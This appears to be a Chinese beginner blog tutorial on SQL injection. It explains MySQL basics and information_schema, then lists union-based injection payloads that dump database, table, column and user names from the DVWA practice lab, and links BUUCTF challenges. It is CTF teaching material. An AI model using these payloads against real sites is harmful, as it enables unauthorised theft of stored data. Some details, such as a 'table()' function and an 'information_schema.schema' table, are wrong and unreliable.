SQL注入的入门

SQL注入的入门

参考:

https://blog.csdn.net/weixin_45798017/article/details/105306095

https://sculptor-liu.github.io/2020/07/25/SQL%20%E6%B3%A8%E5%85%A5/

服务器以及其内部关系

一个服务器上有多个数据库,同时有着存放所有数据库的库,存放所有数据表的库,存放所有数据结构的库

对于一个数据库来说,一个数据库中可能存放多个数据表,一张表上有多个变量,例如长宽高,这个就是这个表的数据结构,而数据结构所对应的值就是数据内容,通常flag就在这个变量里。

1.SQL的基本命令

首先,进入mysql命令行

新版的

进入mysql的bin的存放路径->cmd

命令:

1
mysql -uroot -proot            //-u是账户名,-p是密码    都是root

老版的:

其他选项菜单->mysql工具->mysql命令行

1.1 查找数据库

1
show databases;

1.2 使用数据库

1
use dvwa;   //当没有使用数据库时是无法访问该数据库下面的数据的

1.3 查找数据表

1
show tables;

1.4 查询数据结构

1
desc users;

1.5 创建新的数据库

1
create database haoye;

1.6 删除数据库

1
drop database haoye;

1.7 从数据表中查找所有数据

1
2
select * from users;    //*是所有的意思,users是上面dvwa数据库下面的一个数据表
这样查询可以把users这个数据表中所有的数据结构以及它所对于的值(数据)全部爆出来

1.8 or的注入原理

1
2
select user,password,last_name from users where user='haoye' or 1=1;
//意思是从users这个数据表中搜索一个user是haoye所以对应的user,paswword,last_name的数据;然而,其实并没有一个叫haoye的user,但是由于我们后面加了一个1=1的必然成立事件,所以无论前面的语句是否为真,这整条语句都是合法的,所以就会把users这个数据表下需要查找的3个数据结构的所有数据全部爆出来。

2.基本函数

2.1 版本

1
version()

2.2 数据库

1
database()

2.3 数据表

1
table()

3.基于information_schema

3.1 总的数据库

1
information_schema.schemata

3.2 数据库的库

1
information_schema.schema

3.3 数据表的库

1
information_schema.tables

3.4 数据结构的库

1
information_schema.columns

数据库

1
table_schema

数据表

1
table_name

数据结构

1
column_name

4.常用函数

4.1 group_concat()

利用 group_concat()函数可以得到所有库名,或者同一库名下的所有表名,省去了一个个的麻烦

函数里面加 schema_name,table_name,column_name 就可以了

同时,利用 union select group_concat(字段名) from (库名.表名) 可以得到字段内容

比如说,当原本网站后台源码只查询2个字段,然而我们想要3个数据,我们就可以这样查询、

1
2
select 数据1,group_concat(数据2,数据2) from  //这里就相当于数据1占据了一个位置,数据2和数据3占据同一个位置
或者 select 1,group_concat(数据1,数据2,数据3) from //这里select后面的的1只是一个随便代称,可以是随便的数字,为了占据一个位置,而后面3个数据占据同一个位置

5.常用注入语句

5.1 万能头

1
1' or 1=1#                #是注释符号

5.2 查询字段长度

1
2
3
1' order by 1/2/3...#
或者 1' union select 1,2,3... //1,2,3就相当于下面的注入数据,当超过后端源码固定查找的字段个数时就会报错
当页面返回 Unknown column '3' in 'order clause'的类似字样时则,3前面的2是正确字段长度

为什么要知道字段长度,因为对于后端源码来说,执行的是select+要查找的数据,格式大概为select 数据1,数据2,数据3…,,所以我们在进行注入时就要符合后端源码的格式,后端是要查找几个字段,我们在注入时候就要select几个字段;例如,下面这个源码显示,可以看出该后台源码查找的只有两个字段,所以我们当order by 3的时候报错

5.3 union select联合查询

union 操作符用于合并两个或者多个 SQL 语句集合起来,得到联合的查询结果

6.实例

靶机:DVWA

low级别

6.1.1 查看字段

1
1' order by 1/2/3...#

6.1.2 查看数据库

1
2
1' union select 1,database()#           
select后面的1是为了占据一个位置;database()函数只能查询到当前页面的数据库
1
2
3
1' union select 1,group_concat(schema_name)from information_schema.schemata#
查询整个服务器上所有的数据库
//意思是从一个总库(服务器上库的集合)中查询所有的数据库

6.1.3 查看数据表

1
2
1' union select 1,group_concat(table_name)from information_schema.tables where table_schema="dvwa"#
//从一个数据表总库中查询所有的数据表,条件是要求这些数据表所在的数据库名为dvwa

6.1.4 查看数据结构

1
2
1' union select 1,group_concat(column_name)from information_schema.columns where table_name="users"#
//从数据结构总库中查询所有的数据结构,要求这些数据结构所在的数据表为users

6.1.5 查看数据结构中的内容

1
2
3
1' union select 1,group_concat(user)from dvwa.users#
dvwa.users就是数据库下的数据表
//从名叫dvwa数据库下的users这个数据表中搜索所有的user数据

7.题目

BUUCTF

https://buuoj.cn/

7.1 题目一

https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]EasySQL

7.2 题目二

https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]LoveSQL